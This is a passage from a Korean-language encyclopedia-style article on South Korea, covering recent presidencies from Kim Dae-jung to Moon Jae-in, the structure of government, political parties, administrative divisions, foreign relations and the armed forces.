극복이었다. 국민의 정부는 '자유주의' 경제정책 추진과 금모으기 운동 등을 통해, 2001년까지 외채를 조기 상환해 IMF 관리 체제에서 벗어났으며, 국제 기준에 맞춘 자율적인 구조조정 체제를 도입해 기업의 체질개선 등을 단행했다.[23] 국민의 정부는 한반도의 평화와 인권 신장에 기여했다. 특히 대북관계에 있어서 햇볕정책을 추진하기 위해 분단 이후 처음으로 평양을 방문, 김정일 국방위원장과 남북정상회담을 하였다. 그러나 남북정상회담을 위해 2000억원에 달하는 현금을 북한 정권에게 불법 송금했다는 혐의가 사후 드러나 큰 비판을 받았다. 대북유화책을 추진했지만 연평해전, 핵실험 등 북한의 지속적인 도발이 계속되어 햇볕정책의 실효성에 의문이 제기되었다. 또한, IMF 위기 극복을 위해 국민의 정부가 추진했었던 신자유주의 정책은 승자 독식의 기형적 사회구조를 구축했다는 비판이 있으며, 지나친 구조조정과 기업 매각 등으로 대량의 실업자를 양산했다는 부정적 평가가 일부 존재한다. 2002년 치러진 제16대 대선에서는 새천년민주당의 노무현 후보가 당선되면서 2003년 참여정부가 출범하였다. 2004년에는 대통령 탄핵 소추를 겪는 등 위기를 맞기도 했으나, 여론의 반발과 헌법재판소의 기각 결정으로 노무현 대통령은 직에 복귀했으며, 2004년 제17대 총선에서 여당인 열린우리당이 탄핵역풍을 맞은 야당을 누르고 과반수 의석을 차지하면서 국정 탄력을 받았다. 참여 정부는 권위주위 타파, 균형 발전 등 개혁적이고 진보적인 정책을 수립했다. 진실 화해를 위한 과거사 정리위원회 설치를 통한 과거사 정리, 세종특별자치시 추진으로 균형 발전을 꾀했다는 평가가 있다. 하지만, 참여정부는 현실을 고려하지 않은 지나친 개혁과 대통령의 과격한 발언 등으로 보수층과 중도층의 반발을 불러왔고, 노무현 대통령의 형인 노건평 씨의 측근 비리 등 각종 악재로 인하여 임기 중반에 지지율이 하락하기도 하였다. 경제적으로는 부동산 가격 폭등, 양극화를 심화시켰으며, 양극화의 원인으로 제시되어 많은 사회적 논란을 낳은 비정규직 문제를 해결하지 못했다. 또한 노무현 재임 당시 교육부총리였던 김진표가 추진한 정책으로 인하여 대학 등록금도 큰 폭으로 상승하는 등 서민의 경제적 어려움을 가중시켰다는 지적도 있다. 이명박 정부와 박근혜 정부 이 부분의 본문은 이명박 정부 및 박근혜 정부입니다. 2007년 치러진 제17대 대선에서 한나라당의 이명박 후보가 대통령에 당선되었다. 이명박 정부는 7대 강국, 4만달러 시대, 7% 성장('747 공약')을 내세웠다. 하지만 집권 초인 2008년 미국발 세계 금융 위기의 여파로 인한 경제적 위기와, 광우병소 수입 반대 촛불집회로 인한 정치적 위기를 동시에 겪었다. 금융위기를 극복하기 위해 이명박 정부는 여러 정책을 시도하는데, 그 중 대표적인 것이 4대강 사업이다. 4대강 사업은 건설경기를 살렸고 홍수 피해를 줄였다는 긍정적 평가와 세금 낭비와 환경파괴라는 부정적 평가가 각각 존재한다. 2010년에는 G20정상회의 개최와, 2012년 핵안보정상회의를 개최하여 외교적 성과를 이뤘고, 금융위기 극복, 국가신용등급 향상, 원전 수주 등 다양한 성과를 거두었다는 긍정적인 평가가 있다. 하지만 미디어법 개정으로 언론장악이 아니냐는 비판도 있으며, 세종시 수정안과 같이 여러 정책들의 추진에 대한 찬반 양론이 존재한다. 또한, 종합부동산세 폐지로 부자 감세 의혹이 제기되었고,[24] 야심차게 추진한 자원외교에 대해서는 세금 낭비와 비리 의혹이 제기되어 논란이 되고 있다.[25] 박근혜 대통령 퇴진 운동 2012년 치러진 제18대 대선에서는 새누리당의 박근혜 후보가 대통령에 당선되었다. 그러나 국정원의 선거 개입 의혹이 제기되며 출범부터 논란에 휩싸였고, 이어 잇따른 인사의 실패로 국정운영에 어려움을 겪었다. 더구나 2014년 4월 세월호 참사와 2015년 메르스 사태 등으로 재난 대책에 미숙한 모습을 드러내었으며, 창조경제와 노동개혁, 국정교과서 추진, 한일 위안부 합의, 사드(THAAD, 고고도 미사일 방어 체계) 배치 결정, 통합진보당 해체 등 여러 정책에 대해 사회적 비판과 갈등을 겪은 데다가 2016년 4월 제20대 총선에서 여소야대 국회가 다시금 등장하면서 정치적 위기를 맞았다. 결국 2016년 10월 민간인 신분인 최순실 씨의 국정 농단 사태(박근혜-최순실 게이트)가 밝혀지면서 박근혜 대통령 퇴진 운동이 시작되었고, 국회는 박근혜 대통령 탄핵 소추안을 가결시키며 박근혜 대통령의 권한이 정지, 황교안 대통령 권한대행 체제가 확립되었다. 2017년 3월 10일 헌법재판소의 탄핵 인용으로 박근혜 대통령은 헌정 사상 최초로 파면된 대통령이 되었다. 문재인 정부 이 부분의 본문은 문재인 정부입니다. 취임 선서를 하는 문재인 대통령 2017년 5월 10일에 치러진 제19대 대선에서 더불어민주당의 문재인 후보가 대통령으로 당선되었다. 문재인 정부는 임기 초반기부터 7~80%대의 높은 지지율을 유지했으며, 탈권위주의 정책 및 적폐청산 정책으로 국민들의 호응을 받았다. 하지만 5대 원칙 공약 파기 및 부실한 인사들을 무리하게 임명하여 논란이 일었고 또 문재인 케어 논란, 탈원전 논란, 코리아 패싱 등으로 계속 논란이 일었다. 그리고 2018년 초반기에 들어서서 남북 단일팀 논란, 가상화폐 규제 등을 무리하게 밀어붙이고 미세먼지 공약 미이행 논란까지 불거지면서 보수층과 중도층, 젊은층의 반발로 지지율이 하락했다. 그러나 탈권위주의 정책과 적폐청산 정책을 과감히 추진하고 평창 동계올림픽의 흥행으로 다시 지지율이 상승했다. 하지만 대한민국의 미투 운동에 더불어민주당의 일부 정계인사들이 연루되고, 금융감독원장에 임명된 김기식이 여러 논란에 휩싸임과 동시에 더불어민주당원 댓글 조작 사건이 불거지면서 다시 위기에 몰렸으나 2018년 제1차 남북정상회담과 2018년 제2차 남북정상회담을 통해서 평화무드를 조성하면서 지지율을 크게 상승시켰고, 이어진 제7회 전국동시지방선거에서 더불어민주당이 크게 승리하면서 국정운영에 계속 탄력을 받게 되었다. 하지만 지방선거 이후 경제가 하락하고 제주 난민 사태, 일자리 정책 실패, 최저임금 인상 논란, 근로시간 주52시간 단축 논란, 부동산 대책 논란, 리비아 한국인 납치 사건 대처 미흡 논란, 북한 석탄 밀수 사건, 국방백서 북한 주적 삭제 논란, 통계청장 경질 논란이 불거지고 이에 대해 문재인 정부가 주변의 비판여론에도 불구하고 밀어붙이면서 보수층, 중도층, 젊은층의 반발을 불러일으키면서 문재인 정부의 지지율이 계속 하락했다. 그러나 2018년 제3차 남북정상회담을 잘 이끌어내면서 지지율이 다시 상승기류를 탔다. 하지만 이후로는 경제 불황과 소득주도성장에 대한 부작용이 다시 이슈가 되고 북미 비핵화 협상 교착화와 혜경궁 김씨 논란, 그리고 청와대 의전비서관의 음주운전과 청와대 민정수석실 특별감찰반 일탈 논란으로 다시 지지율이 하락하고 있다. 정치 이 부분의 본문은 대한민국의 정치입니다. 대한민국 임시정부는 1919년 4월 13일에 중화민국 상하이에서 수립되었으며 1945년 8월 15일 일본 제국으로부터 해방되었다. 신탁 통치 찬반을 놓고 좌파 진영과 우파 진영 간의 갈등이 극에 달하게 되었으며, 이후 미국과 구 소련의 분할 군정에 놓여 있다가, 1948년 5월 10일 총선을 거쳐 7월 17일 첫 헌법이 제정되었고 8월 15일에 대한민국임시정부의 정통성을 이어받은 대한민국 정부로 공식 출범하게 된다. 대한민국은 자유민주적 기본절서에 입각한 자유 민주 공화국으로 대통령제를 기본으로 하여 의원내각제적 요소를 혼합한 정치 제도(그 예로 국무총리가 존재하고, 국회의원이 장·차관급 공직자를 지낼 수 있다)를 채택하고 있고, 대한제국이 일본에 의해 멸망한 후 3·1 운동 정신으로 창립된 대한민국 임시정부의 법통과 독재의 불의에 항거한 4·19 혁명의 민주주의 이념을 계승함을 헌법 전문에 명백히 밝혀두고 있다. 한편 대한민국 헌법은 1948년 7월 17일 공포되었으며 개인의 인권을 존중하고 사유재산을 인정하고 있다. 그 이후에도 헌법은 9차례에 걸쳐 개정되었다. 그 가운데 박정희 때의 유신 헌법은 긴급조치 등 대통령의 권한을 강화해 국민의 자유기본권을 제약하는 비민주적이었지만 그 당시 국내외를 둘러싼 환경에 의해 불가피한 조치였다는 다른 시각도 있다. 현재 발효 중인 헌법은 제6공화국의 수립에 따라 1987년 여야 합의를 통해 개정되었다. 또한 3권 분립의 원칙에 따라 독립적인 세 개의 권력 기관을 근간으로 하여 국가를 구성하고 있다. 정부 입법부 국회의사당 이 부분의 본문은 대한민국 국회입니다. 입법부의 주축을 이루고 있는 대한민국 국회는 현재 총 300석의 단원제로 구성되어 있다. 대한민국 임시정부의 입법부였던 임시의정원을 기원으로 두고 있으며, 1948년 5월 10일 구성된 제헌국회가 대한민국 최초의 국회이다. 매년 1회의 정기회(100일 이내)와 30일 이내의 임시회가 열리며, 회기 중에 국회는 법의 의결권과 예산안의 심사, 국정 감사와 헌법에 명시된 기관장의 임명 동의 및 조약의 체결 및 비준 동의 등의 활동을 한다. 대한민국 국회의원의 임기는 4년이며, 임기 중 의사진행과 관한 발언에 대한 면책특권과 회기 중 불체포특권을 가진다. 공직선거법에 따른 피선거권을 충족한 인물로, 국회의원 총선거나 재선거 및 보궐선거, 혹은 대한민국 중앙선거관리위원회의 비례대표 의석승계 결정에 따라 선출된다. 대한민국 국회의장과 부의장은 국회의원 중에서 본회의의 무기명 투표를 거쳐 선출되며, 그 임기는 국회 회기의 절반에 해당되는 2년이다. 행정부 이 부분의 본문은 대한민국 정부입니다. 정부서울청사 대한민국의 행정부에 해당하는 대한민국 정부는 대통령을 수반으로 하여 입법부에서 법률로써 정한 사안들을 실행한다. 대통령은 국무총리와 국무위원으로 구성된 국무회의의 조력을 받아 업무를 처리한다. 대통령은 5년 단임으로 국민의 보통, 평등, 직접, 비밀 선거에 의하여 선출된다. 대통령은 국회가 통과한 법률을 거부할 권한이 있다. 그러나 한 번 거부한 법률을 국회가 다시 통과시킨다면(단, 국회는 재적의원 과반수의 출석과 3분의 2의 동의를 얻어야 한다.) 그 법률은 그대로 통과된다. 대통령은 헌법재판소의 재판관 3인과 대법관 등을 임명할 수 있다. 대통령은 조약을 체결·비준하고, 외교사절을 신임·접수 또는 파견하며, 선전포고와 강화를 할 권한을 가지고 있으며, 국군을 통수하며 공무원 임명을 할 수 있는 등 국정 전반에 걸쳐 방대한 권한을 행사한다. 대통령의 명을 받아 내각을 통할하기 위하여, 대통령의 보좌기관으로서 국무총리를 두고 있다. 국무총리는 대통령이 임명하되 국회의 동의를 받아야 한다. 국무총리는 내각의 구성원을 대통령에게 임명을 제청하며 내각을 통솔한다. 대통령의 유고 시 국무총리가 대통령의 권한을 대행하게 되며 국무총리가 유고시 경제부총리 겸 기획재정부 장관, 사회부총리 겸 교육부 장관 순으로 권한을 대행한다. 사법부 대법원 이 부분의 본문은 대한민국의 법원입니다. 대한민국의 사법부는 대다수의 현대 국가들과 마찬가지로, 재판에 있어서 공정한 심판을 위해 3심제로 이루어져 있다. 대법원을 최고법원으로, 그 밑에 고등법원, 지방법원, 지방법원의 지원과 특허법원, 가정법원, 행정법원 등의 전문성을 요구하는 법률 심사를 위해 설치된 특수법원(여기에서의 재판은 1심의 판결과 동일하다.)으로 구성되어 있다. 대한민국 국군의 경우 군사법원법에 따라 군사재판을 할 수 있으나, 최종심은 대법원이 관할한다. 한편 법원과는 별도로 각종 법령 등의 위헌 여부를 심사하는 헌법 재판소가 구성되어 있다. 헌법재판소에서는 법률이 헌법에 위배되는지를 판가름하는 위헌법률심판, 대통령을 비롯한 공무원의 탄핵 소추를 심사하는 탄핵심판, 위헌 정당의 해산 여부를 심사하는 정당해산심판, 권한쟁의심판, 헌법소원심판 등을 심사한다. 헌법재판소의 재판관은 총 9명이며, 대통령, 국회, 대법원장이 각각 3명씩 선출하고 대통령이 임명한다. 헌법재판소장은 대통령이 국회의 동의를 얻어 임명한다. 최고 법원인 대법원의 법관인 대법관은 대법원장의 제청에 따라 국회 동의를 거쳐 대통령이 임명한다. 대법관의 임기는 헌법을 통해 보장되며, 그 연한은 6년이다. 정당 이 부분의 본문은 대한민국의 정당입니다. 대한민국에서는 헌법 제8조에 의해 자유롭게 정당을 결성할 수 있으며, 복수정당제가 보장된다. 가장 최근에는 20대 국회가 2016년 5월 30일부터 개원하였다. 2017년 6월을 기준으로 여당과 1석 차이로 원내 제1당이 된 더불어민주당이 있으며 그 밖의 원내 교섭단체를 구성한 정당(국회에 의석을 20석 이상 가진 정당)으로는 자유한국당, 바른미래당이 있다. 비교섭단체인 정당(국회에 의석을 1석 이상 가진 정당)으로는 정의당, 민주평화당, 민중당, 우리공화당이 있다. 국회에 의석이 없는 정당으로는 노동당, 녹색당 등이 있다. 제20대 총선 당시에는 더불어민주당 123석, 새누리당 122석, 국민의당 38석, 정의당 6석으로 더불어민주당이 원내 제1당이 되었다. 새누리당 공천을 받지 못해 탈당한 새누리당 전 소속 의원들이 무소속으로 당선되면서 새누리당에 재입당 하여 129석으로 새누리당이 다시 원내 제1당이 되었으나, 박근혜-최순실 게이트의 여파로 인해 비박계들이 탈당하였고, 94석으로 줄어 다시 원내 제2당이 되었고, 바른정당 소속의 탈당계가 들어옴에 따라 110석 이상을 확보하였다. 2019년 기준의 정당별 의석 수는 더불어민주당 128석, 자유한국당 114석, 바른미래당 28석[26], 민주평화당 14석, 정의당 6석, 민중당과 대한애국당이 각각 1석이다. 행정 구역 이 부분의 본문은 대한민국의 행정 구역입니다. 특별시 광역시 도 특별자치도 특별자치시 1 서울특별시 2 부산광역시 8 경기도 16 제주특별자치도 17 세종특별자치시 3 대구광역시 9 강원도 4 인천광역시 10 충청북도 5 광주광역시 11 충청남도 6 대전광역시 14 경상북도 7 울산광역시 15 경상남도 12 전라북도 13 전라남도 대한민국의 전 지역은 1개의 특별시, 6개의 광역시, 8개의 도, 1개의 특별자치도, 1개의 특별자치시로 나뉜다. 이상 총 17개의 행정구역은 광역지방자치단체로 구분된다. 특별시는 구로, 광역시는 구와 군으로, 도는 시와 군으로 다시 나뉜다. 이상의 행정구역은 기초지방자치단체로 구분된다. 특별시와 6개 광역시에는 2008년 4월 기준으로 총 69개의 자치구가 설치되어 있다. 또한 6개 광역시와 8개 도에는 총 75개의 자치시와 82개의 군이 설치되어 있다.[27] 특별자치도는 자치시가 아닌 행정시를 둘 수 있으며, 행정시는 특별자치도지사 직속기관으로서 기초지방자치단체로서의 권한이 없다. 광역자치단체인 도 하위의 인구 50만 이상의 자치시에는 일반구를 둘 수 있는데, 일반구도 기초자치단체로서의 권한이 없기 때문에 특별시·광역시의 자치구와 구별된다. 시와 구(자치구, 일반구)는 읍·면·동으로, 군은 읍·면으로 나뉜다. 읍·면은 리로, 동은 통으로 나뉜다. 통 및 리는 말단 행정 구역인 반으로 나뉜다. 한편, 대한민국 헌법 제3조에는 "대한민국의 영토는 한반도와 그 부속도서로 한다."라고 명시되어 있다. 이는 대한민국을 한반도의 유일한 합법정부로 선언하는 성격을 가지고 있어, 조선민주주의인민공화국을 "영토고권을 침해하는 반국가단체"로 규정하는 근거가 된다.[28] 때문에 대한민국은 휴전선 이북 영토를 관할하는 이북5도위원회를 안전행정부 관할로 두어 형식상의 도지사와 시장, 군수 등을 선출하고 있다.(함경북도, 함경남도, 평안북도, 평안남도, 황해도, 미수복 강원도, 미수복 경기도 및 예하 시·군 관할) 대한민국 헌법의 관점으로 볼 때, 현재 대한민국의 최동단은 동해 상의 독도, 서단은 압록강의 비단섬, 남단은 제주도의 남쪽 바다에 위치한 마라도, 북단은 함경북도 온성군 부근이 된다.[28] 대한민국이 영유권을 주장하는 지역은 조선민주주의인민공화국이 실효지배중인 지역과 대한민국이 실효지배중인 지역과 거의 같으나 중화인민공화국이 실효 지배중인 백두산 천지 북부에 대하여 영유권을 주장하여 대한민국의 지도 상에 백두산 천지 전체를 대한민국의 영토로 표시하고 있다. 이밖에 러시아가 실효지배중인 녹둔도에 대하여 지도상으로는 표시하고 있지 않으나 영유권을 주장하고 있다. 외교 이 부분의 본문은 대한민국의 대외 관계입니다. 대한민국의 외교에 관한 업무는 외교부가 맡고 있다. 휴전선을 사이에 두고 이웃한 조선민주주의인민공화국과는 한국 전쟁을 겪은 뒤 적대적인 관계가 유지되었다. 김대중과 노무현 정부는 햇볕 정책, 곧 대북유화책을 시도했으나 차후 북한의 핵무기와 미사일 개발 등 대남 도발 행위로 인해 중단되었다. 이명박과 박근혜 정부는 연평도 도발, 천안함 폭침, 목함 지뢰 사건 등이 발생함과 동시에 대북 강경정책을 실시했고, 이에 따라 남북 관계가 상대적으로 경색되었다. 대한민국의 외교는 한국 전쟁에서 큰 역할을 담당하였던 미국과는 긴밀한 관계를 맺고 있다. 과거 한반도를 식민 통치하였던 일본과는 1965년 수교하였다. 대한민국은 현재 유엔 회원국 중 조선민주주의인민공화국, 마케도니아, 시리아, 쿠바 등 4개국과 외교 관계가 없으며, 이 중 조선민주주의인민공화국을 국가로 인정하지 않는다. 이외에 서사하라, 중화민국, 팔레스타인, 코소보 등도 외교 관계가 없다. 이 중 중화민국은 대한민국 정부 수립 때부터 수교국이었으나 1992년에 국교가 단절되었다. 그렇지만 현재 대한민국과 중화민국 양국은 양국 수도에 서로 대표부(타이베이 대표부)를 설치하여 운영중에 있고 상호간의 왕래와 민간교류는 자유롭다. 팔레스타인의 경우에는 대한민국이 팔레스타인에 대표부를 설치하여 운영중에 있다. 과거에는 통상에 관한 업무를 전문적으로 관장하기 위해 외교통상부 산하 통상교섭본부를 설치해 운영하였으나, 정부조직 개편에 따라 산업통상자원부로 이관되었다. 대한민국의 영토인 독도, 이어도 등에 대하여 이웃한 일본, 중화인민공화국이 각각 영유권을 주장하고 있다. 현재 대한민국은 유엔과 WTO, OECD, 그리고 G-20의 구성원이며 또한 APEC와 동아시아 정상회의의 창립 가맹국이며, 미국의 주요 비NATO 동맹국(MNNA)이다. 한편 2007년부터 2010년 상반기까지 해외에서 추방한 대한민국 국민이 2,111명으로 일본에서 제일 많았다.[29] 남북 관계 이 부분의 본문은 남북 관계입니다. 대한민국은 조선민주주의인민공화국의 수립 당시부터 현재까지 국가로 승인하지 않으며, 조선민주주의인민공화국 정부에 대하여 국제법상 교전단체의 지위만을 인정한다. 또한, 대한민국은 대한민국 헌법을 비롯한 국내법상 조선민주주의인민공화국이 차지하고 있는 지역 일체를 대한민국의 고유한 영토로 간주하고 있으며, 따라서 자국 영토를 불법적으로 점거하는 반국가단체로 본다. 국민의 정부 당시 최초의 남북정상회담이 개최되었으며 조선민주주의인민공화국과의 물자 교류는 참여정부 말까지 활발했으나 조선민주주의인민공화국의 대남 도발 등으로 인해 2013년 금강산 관광 산업, 개성공단까지 중지된 상태이였지만 남북회담을 통해 재가동하기로 했다. 그러나 2015년 이후 조선민주주의인민공화국이 계속해서 대남 도발, 핵 실험, 미사일 발사 등을 진행함에 따라 다시 중지되었다. 한미 관계 이명박 전 대통령과 부시 미 전 대통령이 함께한 모습 이 부분의 본문은 한미 관계입니다. 대한민국과 미국의 관계는 19세기 중반인 1871년 조선의 통상을 요구하던 제너럴셔먼호 사건으로 거슬러 올라간다. 그러나 당시 조선은 흥선대원군의 쇄국정책으로 완강히버티자 얼마버티지 못하고 돌아간다. 그 뒤 일본의 운요호 사건을 계기로 조선은 쇄국정책을 풀고 일본을 비롯한 세계열강과 통상조약을 맺게되자 미국은 1882년에 조선과 통상조약을 맺어 공식적으로 외교관계를 가지게 된다. 1897년에 고종이 대한제국을 선포할때 미국은 특사를 파견하여 축하해주기도했다. 그러나 이러한 관계는 1905년 을사조약 뒤부터 뒤틀어졌는데 당시 미국 제26대 대통령 시어도어 루스벨트의 딸인 엘리스 루스벨트가 미국을 대표하여 대한제국에 방문했을때 고종의 환대에도 없는 사람 취급하였고 고종의 아내였던 명성황후 무덤앞의 말조각상에서 앉아 사진을 찍는 무례함을 범했기 때문이다. 설상가상으로 1910년 일본제국의 대한제국 강제합병을 계기로 미국과의 외교관계가 단절된다. 1948년 대한민국은 미국의 원조로 민주 정부를 수립하였고 그 이래로 미국의 대량 원조를 통해 매우 광범위하게 발전하여 왔다. 미국은 한국 전쟁(1950년~1953년) 당시 유엔군을 조직하여 대한민국 편에서 참전하여 절대적인 역할을 하였고 휴전 이후에도 주한 미군이 계속 주둔하고 있고 대한민국은 주한미군에 의한 군사적 보호속에서 매우 긴밀한 동맹관계를 유지해 오고 있다. 제5공화국 때는 부산 미국문화원 방화사건도 있었고, 2000년대 들어서 주한미군 한강 독극물 무단 방류 사건, 미군 장갑차 여중생 압사 사건 등으로 일부 반미 감정이 고조되기도 하였다. 2007년 한미자유무역협정이 체결되었고 문서 공개 이후 한동안 상당한 논란에 휩싸였다. 이후 이명박 정부가 출범하면서 미국산 쇠고기 수입 협상 논란은 촛불 시위로 비화되어 2008년 미국산 쇠고기 수입 협상 논란을 겪었다. 한편 이명박 정부가 출범된 이후 한미 관계가 상당히 강화되었다. 현재 대한민국은 군사, 외교, 경제적으로 깊은 관계를 맺고 있다. 한일 관계 대한민국과 일본이 서로 영유권을 주장하고 있는 독도. 현재 대한민국이 실효 지배하고 있는 섬이다. 이 부분의 본문은 한일 관계입니다. 양국은 1965년 한일 협정을 통해 공식적인 외교 관계를 수립하였다. 양국 간에 역사 인식, 영토 등에 대한 갈등이 존재한다. 제2차 세계대전 당시의 전범들을 숭배하는 야스쿠니 신사 참배 문제나 독도 문제, 동해 명칭 문제, 일본군 위안부도 민감한 문제이다. 일본의 고이즈미 준이치로 내각과 아베 신조 내각 당시에는 한일 셔틀외교가 중단되는 등 양국관계가 멀어졌으나 아시아 외교를 중시하는 일본 후쿠다 야스오·하토야마 유키오 내각의 출범과 한일관계를 보다 중시하는 대한민국의 이명박 정부가 출범한 이후 관계가 개선과 악화를 반복하다가 일본 민주당 하토야마 유키오 총리가 취임하면서 한일관계가 강화되었다. 2002년에는 양국이 공동주관하여 한일 월드컵을 개최하기도 하였다. 2000년대에 들어서는 일본에서 한국 문화에 대한 선호도가 높아지면서 이른바 '한류 열풍'이 불어 양국간 교류가 많이 증진되었다. 그러나 역사·영토(독도) 문제 등 여러 부분에서 논란이 계속되고 있고, 일본이 집단자위권을 강화함으로써 양국 관계도 점차 경직되어가고 있다. 한중 관계 이 부분의 본문은 한중 관계 (1948년) 및 한중 관계 (1992년)입니다. 대한민국은 1948년 정부 수립 직후부터 중화민국과 외교 관계를 수립하였다. 1950년에 발발한 한국 전쟁에서 조선민주주의인민공화국을 지원한 중화인민공화국과는 적대 관계가 되었으며, 1992년까지 외교 관계를 맺지 않고 있었다. 그러나 대한민국은 중화인민공화국과 1992년 공식 수교하면서, 기존의 중화민국과 단교하여 오늘에 이르고 있다. 조선민주주의인민공화국과 관련된 여러 문제가 있는 와중에도 양국은 외교 관계를 이루고 있다. 2016년 주한 미군의 '고고도 미사일 방어 체계(THAAD)' 배치 추진과 미・중 무역 갈등 문제 등 국제 사회에서의 충돌로 인하여 한중 관계과 악화되고 있다. 한러 관계 이 부분의 본문은 한러 관계입니다. 러시아는 구 소비에트 연방의 법통을 이어받은 나라로, 자본주의와 공산주의 국가 간의 갈등이었던 동・서 냉전으로 인해 대한민국과는 적대적인 관계였으나 탈냉전 이후에 한소수교가 1990년에 전격적으로 이루어졌으며, 소련 붕괴 이후의 러시아와 경제, 문화, 우주기술협력, 군사(불곰사업) 등에서 밀접한 관계를 추진해나가기 시작했다. 하지만 녹둔도 문제를 포함해서 연해주 등 잠재된 영토 문제가 아직 남아있지만 남북분단으로 인해 가시화되지는 않았다. 대한민국의 위성인 나로호 발사도 러시아의 협조 하에 발사했다. 현재 12만 5000명의 고려인이 러시아에 거주하고 있다. 러시아와 한국은 대한항공, 아시아나항공, 아에로플로트 등 여러 항공사가 매일 운항하고 있다. 국방 이 부분의 본문은 대한민국 국군입니다. 대한민국은 조선민주주의인민공화국과의 대립으로 인해 일찍부터 군사력을 증강시켜 왔으며 1990년대까지는 양적 위주의 성장을 추진했으나, 2000년대 들어 새로운 무기 기술의 개발과 발달로 인해 질적 성장을 이루었다. 대한민국 국방부가 국군(國軍)이라고 불리는 대한민국의 군을 지휘하고 있다. 2013년 7월 기준 병력 규모는 현역이 약 670,000명으로 세계 6위, 대한민국 예비군은 약 3,200,000명으로 세계 5위이다.[30] 세계에서 11번째로 탄도미사일을 독자 개발했다.[31] 대한민국 국군의 경우 여군은 기갑, 포병, 잠수함 병과에는 진출할 수 없었으나 2014년 9월 창군이래 최초 여군 포병장교가 탄생하였고 기갑병과에도 여군이 진출함에 따라 다양한 병과에서 여군들이 활약하고 있다. [32] 육군 K1 전차 이 부분의 본문은 대한민국 육군입니다. 대한민국 육군은 병력 약 520,000명, 전차 약 2,300대, 장갑차 약 2,500대, 견인포/자주포/다연장 로켓포 약 5,200문, 유도무기 30기, 헬기 600기를 보유하고 있다.[33] 현재 국방과학연구소(ADD)는 전차[34] K2 전차(K2 흑표, Black Panther)를 개발했다. K-2 전차는 2014년 대한민국 육군에 정식으로 배치된다. K-21 전투장갑차는 2012년경 전력화하였고 복합형 소총인 K-11 소총을 운용하고 있다.[35] 2012년 1월 육군에는 현재 39개 사단(전방 기계화보병사단 6개[36], 그 외 상비 사단 16개, 향토 방위 12개, 동원 예비군 5개)으로 이루어져 있다. 그 외 해군 예하 해병대 2개 사단이 있다. 2020년까지 1군사령부와 3군사령부를 지상작전사령부로 통합하며, 5개의 지역군단(수도방위사령부도 지역군단으로 함)과 2개의 기동군단으로 개편하고, 향토사단 자체는 존치하며, 동원사단은 4개로 줄이고 전 부대를 기계화부대로 편성한다. 병사들의 개인화기 및 개인장비, 피복을 개선시키는 중이다. 전투력 향상을 위해 고글+무릎(팔꿈치)보호대+장갑+방탄복+야간 야시장비+스코프+도트사이트+광학장비를 지급하고 보병장비, 개인장비, 장구류, 군장이 늘어나고 저격소총, 옵션장비 ,사격장, 1인당 교탄증가가 되었다. 소대장이 항공근접지원을 직접 유도할 수 있고 병사들은 무인 항공기를 수시로 띄울 수 있다. 시가전 능력을 향상시키기 위해 신속대응 훈련과 CQB 훈련과 시가전 훈련을 자주 진행 중이다. 실전 훈련처럼 진행한다. 현대전에 맞추기 위해 육군 전 부대 대대급 현대화가 진행 중이다. 저격수, 정찰 저격수들을 육군 전 부대(소대급)에서 양성중이다. 저격수 학교를 창설한다. 저격수 규범은 미국 저격수 규범과 똑같은 저격수 교범을 채택하였다. 공군 대한민국 공군의 주력 기체 중 하나인 F-15K 이 부분의 본문은 대한민국 공군입니다. 대한민국 공군의 장비는 F-15K 60대, KF-16 (Block 52+) 134대와 F-16C/D (Block 52+) (PB형) 35여대, F-4E 80대 (퇴역 중), KF-5E/F (제공호)와 F-5E (타이거 II) 195대, T-103 러시아제 훈련기 IL-103 72대, KT-1 기본 훈련기 105대, KA-1 전선항공통제기/경공격기 20대, T-50 고등 훈련기 60대+98대 생산 확정, T-50B (블랙 이글스) 10대를 보유 중이며, TA-50 전술입문기 (LIFT) 22대를 운용 중이고 KF-16에 버금가는 다목적 전투기인 FA-50 60~120대를 도입 중에 있다. F-4E, KF-5E/F (제공호)와 F-5E (타이거 II)등은 지속적으로 도태되고 있어서 F-5E (타이거 II), KF-5E/F (제공호)는 FA-50 60대로 대체되고, F-4E는 F-35A로 대체되며 T-103 훈련기 72대 역시 기체 노후화로 한국항공우주산업이 개발한 KC-100 나라온으로 대체된다. 수송기는 전략 전술 수송기인 C-130J-30 4대 C-130H 12대, CN-235-220M 18대가 있으며 VIP 수송용으로 대한항공에서 임차한 보잉 747-400 1대를 비롯해 보잉 737-300 1대, VCN-235 2대, VC-118 1대, BAe-748 2대가 있다. 정찰기로는 호커800기를 개조한 금강정찰기와 백두정찰기, RF-4C 18대, RKF-16 5대를 보유, 운용하고 있으며, 공중 조기 경보 통제기 보잉 E-737 피스아이 4대를 운용 중이며 회전익 항공기 (헬기)는 구조.탐색용인 HH-60 페이브호크, HH-47 치누크, 카모프 Ka-32가 있으며 병력 수송용인 벨 205, 212, 412, UH-60 블랙호크 등이 있다. 이외에도 VIP 수송용인 VH-92, VH-60, AS-362 '수퍼퓨마'가 있다. 또한 공군은 국산 헬기인 수리온을 2기 주문하였다. 사병들의 전투력 향상을 위해 소화기 실탄 사격장 및 1인당 실탄사격 훈련의 내실화와 사병들의 개인 장비도 지속적으로 개선하고 있다. 공군 전력사업 중에서 가장 큰 규모의 사업인 한국형 전투기 사업인 KF-X 사업과 차기 대통령전용기 사업인 VC-X사업, 원격지원전자전기 사업, 스텔스 무인 전투기(UCAV)의 개발 및 사업을 진행 중이며 최근 KC-X 사업의 최종 후보로 에어버스 A330 MRTT가 선정, 4대 구매를 체결하였다. 해군 림팩 2006 훈련에 참가중인 DDH-976 문무대왕함 이 부분의 본문은 대한민국 해군입니다. 대한민국 해군(예하 해병대 포함)은 병력 약 68,000명, 잠수함 약 20 척, 전투함정 약 140 척, 지원함정 20 척, 대잠헬기 및 해상초계기 50 대를 보유하고 있고 차기 군함들을 비롯해 모든 군함들은 선체 전체에 광범위하게 스텔스 설계를 적용하고 레이다 반사율을 줄이기 위해 경사설계를 적용한다.[37] 총 3개 함대와 4개 전단을 두고 있다. 해병대 한 대한민국 해병대원이 강습 훈련을 하고 있다. 이 부분의 본문은 대한민국 해병대입니다. 대한민국 해병대는 대한민국 해군 예하에 편성되어 있는 군으로서 국가 전략 기동군으로서 해병대는 상륙작전을 수행한다. 대한민국 해군(예하 해병대 포함)은 병력 약 69,000명, 잠수함 약 20 척, 전투함정 약 140척, 지원함정 20척, 헬기/해상초계기 약 50대, K1A1 전차와 K9 자주포, 상륙돌격장갑차(KAAVP7A1) 등의 기갑 차량, 상륙 장비를 보유하고 있다.[37] 대한민국 해병대는 1949년 4월 15일 경상남도 진해시에서 초대 지휘관에 신현준 중령이 임명되고, 